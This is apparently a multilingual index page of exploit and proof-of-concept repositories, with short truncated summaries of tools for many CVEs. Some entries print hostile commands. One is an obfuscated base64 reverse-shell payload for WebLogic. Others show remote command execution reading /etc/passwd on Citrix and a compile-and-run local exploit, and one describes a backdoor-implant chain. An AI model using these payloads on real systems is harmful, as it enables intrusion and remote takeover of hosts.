CVE-2018-2628

CVE-2018-2628 CVE-2018-2628-Exploit-Toolkit Die auf GitHub zusammengetragenen Exploit-Tools umfassen: 1.CVE-2018-2628-Schwachstellenerkennungstool // POC zur Erkennung des Vorhandenseins der Schwachstelle 2.weblogicpoc.py // POC zur Ausnutzung der Schwachstelle 3.ysoserial-0.1-cve-2018-2628-all.j...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 reverse shell IP locale: 172.16.38.1 Weblogic: 172.16.38.174:7001 1. Esecuzione locale java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Quindi...

CVE-2026-42945

CVE-2026-42945 Nginx Rift – PoC-Toolkit Ein umfassendes Proof-of-Concept-Toolkit für CVE-2026-42945 Nginx Rift, eine kritische Heap-Pufferüberlauf-Schwachstelle im ngxhttprewritemodule von Nginx. Schwachstellenübersicht Feld| Details ---|--- CVE-ID| CVE-2026-42945 Name| Nginx Rift Typ|...

CVE-2021-33909

Sequoia CVE-2021-33909 Compilação root@kitploit: gcc exploit.c -o exploit Execução root@kitploit: chmod +x exploit ./exploit One-Liner root@kitploit: gcc exploit.c -o exploit;chmod +x exploit;./exploit Créditos...

Amaranth-Project

Progetto Amaranth Utilizza CVE-2025-8088 vulnerabilità di path traversal in WinRAR, ≤ 7.11 per implementare una catena di attacco a più fasi per l'impianto di backdoor. root@kitploit: 诱饵文档 → 恶意RAR → CVE触发 → ADS写入 → Stager执行 → 文件加载 → C2上线 Struttura del progetto Directory| Contenuto ---|---...

CVE-2021-30860

CVE-2021-30860 CVE-2021-30860 FORCEDENTRY è una vulnerabilità nota in MacOS, iOS e WatchOS. Permette l'esecuzione di codice arbitrario inviando a un dispositivo vittima un "PDF creato ad arte". Questa vulnerabilità è stata corretta da Apple il 13 settembre 2021 con le seguenti versioni: iOS 14.8...

CVE-2024-46982

Exploração de Envenenamento de Cache no Next.js Esta ferramenta automatiza a detecção e a exploração da CVE-2024-46982 , uma vulnerabilidade de envenenamento de cache no Next.js , em que respostas de Renderização no Lado do Servidor SSR podem ser incorretamente armazenadas em cache como Geração d...

PyNightmare

PyNightmare PoC per CVE-2021-36934 anche noto come HiveNightmare/SeriousSAM completamente scritto in python3 Spiegazione CVE-2021-36934 è una vulnerabilità scoperta di recente da @jonasLyk che consente agli utenti non amministratori di copiare tutti i file di registro hive che contengono...

CVE-2021-1675-SCANNER

CVE-2021-1675-SCANNER Scanner de Vulnerabilidades para CVE-2021-1675 siga as instruções de instalação para https://github.com/cube0x0/CVE-2021-1675 certifique-se de ter o rpcdump.py a partir de uma lista de hosts que você reunir, use a opção -oG do nmap para gerar o seu arquivo com a lista de hos...

CVE-2019-19781

CVE-2019-19781 Exploit di Esecuzione Remota di Codice per Citrix Application Delivery Controller e Citrix Gateway CVE-2019-19781 Uso : bash CVE-2019-19781.sh IPDELHOSTVULNERABILE COMANDODAESEGUIRE es. : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd'...

CVE-2025-55182-exploit

CVE-2025-55182-exploit TL;DR Questo strumento è solo per test di penetrazione legali. Non intraprendere attività illegali. Come usare python3 exploit.py Video dimostrativo...

Spring_cve-2022-22980

Springcve-2022-22980 spring data mongodb esecuzione remota di codice | cve-2022-22980 poc Descrizione Un'applicazione Spring Data MongoDB è vulnerabile a SpEL injection quando utilizza metodi di query annotati con @Query o @Aggregation con espressioni SpEL che contengono segnaposto di parametri d...

CVE-2025-32433

CVE-2025-32433 Una vulnerabilità critica nel server SSH di Erlang/OTP consente l'esecuzione remota di codice non autenticata RCE. Il difetto risiede nel meccanismo di gestione dei messaggi del protocollo SSH, permettendo agli attaccanti di eseguire comandi arbitrari senza richiedere credenziali d...

FLUIG-Vulnerabilidade-CVE-2023-6275

FLUIG-Vulnerabilità-CVE-2023-6275 24 nov 2023 — È stata trovata una vulnerabilità nella piattaforma TOTVS Fluig 1.6.x/1.7.x/1.8.0/1.8.1. È stata valutata come problematica. https://nvd.nist.gov/vuln/detail/CVE-2023-6275 CVE-2023-6275 - Cross-Site Scripting riflesso nella piattaforma TOTVS Fluig...

CVE-2025-55182-exploit

CVE-2025-55182 Exploit Questo repository contiene un semplice exploit per CVE-2025-55182 , una vulnerabilità critica di esecuzione remota di codice in React Server Components. Panoramica della Vulnerabilità CVE-2025-55182 è una vulnerabilità di esecuzione remota di codice non autenticata in React...

cve-2021-4034-mock

CVE-2021-4034 PwnKit Mock-Schwachstellensystem Dieses Projekt ist ein Mock-System, das das Kernverhalten der CVE-2021-4034 Out-of-Bounds Read/Write Schwachstelle im Linux-pkexec-Daemon nachbildet. Es simuliert sicher einen Angriff auf den Umgebungsvariablen-Speicherbereich und die Injektion...

Automated-scanner-CVE-2026-41940

CPANEL CVE EXPLOIT English | فارسی Persian root@kitploit: ██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗ ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║ ██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║ ██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║ ╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗ ╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝...

CVE-2023-4220

Prova de conceito do exploit para CVE-2023-4220 Produto afetado : Chamilo = 1.11.24 Este CVE explora uma vulnerabilidade de upload de arquivo não autenticado no Chamilo 1.11.24 e versões inferiores. Um atacante tem a capacidade de enviar arquivos PHP sem restrições, levando a RCE. Como usar...

CVE-2024-37051-EXP

CVE-2024-37051-EXP CVE-2024-37051 PoC ed exploit Vedi PR 1: https://github.com/LeadroyaL/CVE-2024-37051-EXP/pull/1 Analisi della vulnerabilità in cinese: https://leadroyal.cn/p/2403/...

CVE-2019-19609

CVE-2019-19609 Framework Strapi vulnerabile all'esecuzione remota di codice beh, non ho trovato alcun exploit per CVE-2019-19609 quindi ne ho scritto uno. :/ Utilizzo root@kitploit: python3 exploit.py Un video https://youtu.be/alhZJmuUd2s Ulteriori informazioni...